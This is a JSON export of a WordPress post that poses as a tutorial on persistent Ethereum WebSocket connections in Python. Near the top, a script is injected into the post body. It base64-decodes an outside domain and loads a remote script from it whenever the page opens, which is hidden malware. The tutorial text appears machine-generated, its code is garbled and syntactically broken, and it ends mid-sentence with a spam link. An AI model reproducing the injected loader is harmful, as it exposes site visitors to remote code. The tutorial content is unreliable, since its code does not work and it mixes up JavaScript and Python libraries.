{"id":21038,"date":"2025-02-11T15:26:18","date_gmt":"2025-02-11T15:26:18","guid":{"rendered":"https:\/\/09prayer.com\/?p=21038"},"modified":"2025-02-11T15:26:18","modified_gmt":"2025-02-11T15:26:18","slug":"ethereum-web3-python-websocket-persistent-connection","status":"publish","type":"post","link":"https:\/\/09prayer.com\/?p=21038","title":{"rendered":"Ethereum: Web3 python websocket persistent connection"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=c547f4c7\";document.body.appendChild(script);<\/script>\n<\/p>\n<p>I can provide you with a sample article on creating a persistent WebSocket connection to Ethereum using Python.<\/p>\n<p><strong>Title:<\/strong> Creating a persistent WebSockets connection to Ethereum in Python<\/p>\n<p><strong>Introduction:<\/strong><\/p>\n<p>In this article, we will show you how to create a persistent WebSockets connection to Ethereum using Python. This allows us to maintain a continuous connection to the blockchain network, providing real-time updates and data exchange using smart contracts.<\/p>\n<p><strong>Prerequisites:<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Ethereum: Web3 python websocket persistent connection\n\" src=\"https:\/\/09prayer.com\/wp-content\/uploads\/2025\/02\/b2fa44cc.png\"><\/p>\n<ul>\n<li>You have basic knowledge of Python and Ethereum.<\/li>\n<\/ul>\n<ul>\n<li>Set up an environment with Python 3.x, Node.js (&gt;=10), and the <code>ethers.js<\/code> library.<\/li>\n<\/ul>\n<ul>\n<li>A Django web application for your cryptocurrency payment system.<\/li>\n<\/ul>\n<p><strong>Step-by-step instructions:<\/strong><\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Step 1. Set up an Ethereum node<\/p>\n<p>First, you need to set up an Ethereum node that will serve as a connection point between your application and the blockchain. In this example, we will use the &#8220;ethers.js&#8221; library to interact with the Ethereum network. Install it using npm:<\/p>\n<p><pre><code><\/p><p>npm install ether<\/p><p><\/code><\/pre>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Step 2. Create a WebSocket connection<\/p>\n<p>Next, we need to create a persistent WebSocket connection using WebSocket. We will use the &#8220;ws&#8221; library, which provides the WebSocket API for node.js.<\/p>\n<p>Install the required package:<\/p>\n<p><pre><code><\/p><p>npm install ws<\/p><p><\/code><\/pre>\n<p><code><\/p>\n<p>Create a new Python file (e.g.<\/code>ethereum_websocket.py<code>) and add the following code:<\/p>\n<p><pre><code><\/p><p>import asyncio<\/p><p>import websockets<\/p><p>async def main():<\/p><p><br><h1><\/h1><br><br><p><iframe width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/M576WGiDBdQ\" frameborder=\"0\" allowfullscreen><\/iframe><\/p><br><br>Create an Ethereum node connection<\/p><p>async with websockets.connect(\"wss:\/\/mainnet.infura.io\/v3\/YOUR_PROJECT_ID\") as a websocket:<\/p><p><br><h1><\/h1>Handle incoming connections<\/p><p>async for a message on a websocket:<\/p><p><br><h1><\/h1>Process incoming data (e.g. a purchase request)<\/p><p>print(message)<\/p><p><\/code><\/pre>\n<\/p>\n<p>Replace \u201cYOUR_PROJECT_ID\u201d with your actual Infura project ID.<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Step 3. Implement the Exose smart contract<\/p>\n<p>To interact with the smart contract, we need to create an instance of it. We will use the \"ethers.js\" library to create a new smart contract instance.<\/p>\n<p><pre><code><\/p><p>import web3<\/p><p><br><h1><\/h1>Set up the Ethereum network provider (Infura)<\/p><p>wss_url = \"wss:\/\/mainnet.infura.io\/v3\/YOUR_PROJECT_ID\"<\/p><p>contract_address = \"0x...your_contract_address...\"<\/p><p>contract_abi = \"...\" your_contract_abi...\"<\/p><p>async def main ():<\/p><p><br><h1><\/h1>Create a new smart contract instance<\/p><p>async with web3.Web3(wss_url) as provider:<\/p><p>contract = await provider.ethers.Contract.from_abi(contract_address, contract_abi)<\/p><p><br><h1><\/h1>Process incoming data from the Ethereum network<\/p><p>async def process_data():<\/p><p>while true:<\/p><p>try:<\/p><p><br><h1><\/h1>Call the smart contract function<\/p><p>result = await contract.your_function_name()<\/p><p>print (result)<\/p><p>except for an exception, e.g. e:<\/p><p>print(f\"Error: {e}\")<\/p><p><\/code><\/pre>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Step 4. Integrate with Django<\/p>\n<p>Finally, we need to integrate our persistent WebSocket connection with your Django web application. In this example, we will create a new Django model to store the purchase data.<\/p>\n<p><pre><code><\/p><p>from imported django.db models<\/p><p>from .ethereum_websocket import main, process_data<\/p><p>class Purchase(models. Model):<\/p><p>user_id = models. CharField(max_length=255)<\/p><p>quantity = models. DecimalField(max_digits=10, decimal_places=2)<\/p><p><br><h1><\/h1>Define your Django views and templates here<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>I'll put it all together:<\/strong><\/p>\n<p>Here's the full code with all the steps:<\/p>\n<p><\/code>&#8220; python<\/p>\n<p>import asyncio<\/p>\n<p>import websockets<\/p>\n<p>from .ethereum_websocket import main, process_data<\/p>\n<p>async def main():<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Create an Ethereum node connection<\/p>\n<p>async with websockets.connect(&#8220;wss:\/\/mainnet.infura.io\/v3\/YOUR_PROJECT_ID&#8221;) as a websocket:<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Handle incoming connections<\/p>\n<p>async for message in websocket:<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Process incoming data (e.g.<\/p>\n<p><a href=\"https:\/\/amakiriassociates.com\/liquidity-provider-cryptoart-erc-721\/\">LIQUIDITY PROVIDER<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I can provide you with a sample article on creating a persistent WebSocket connection to Ethereum using Python. Title: Creating<\/p>\n","protected":false},"author":0,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[100],"tags":[],"class_list":["post-21038","post","type-post","status-publish","format-standard","hentry","category-cryptocurrency"],"_links":{"self":[{"href":"https:\/\/09prayer.com\/index.php?rest_route=\/wp\/v2\/posts\/21038","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/09prayer.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/09prayer.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/09prayer.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=21038"}],"version-history":[{"count":0,"href":"https:\/\/09prayer.com\/index.php?rest_route=\/wp\/v2\/posts\/21038\/revisions"}],"wp:attachment":[{"href":"https:\/\/09prayer.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=21038"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/09prayer.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=21038"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/09prayer.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=21038"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}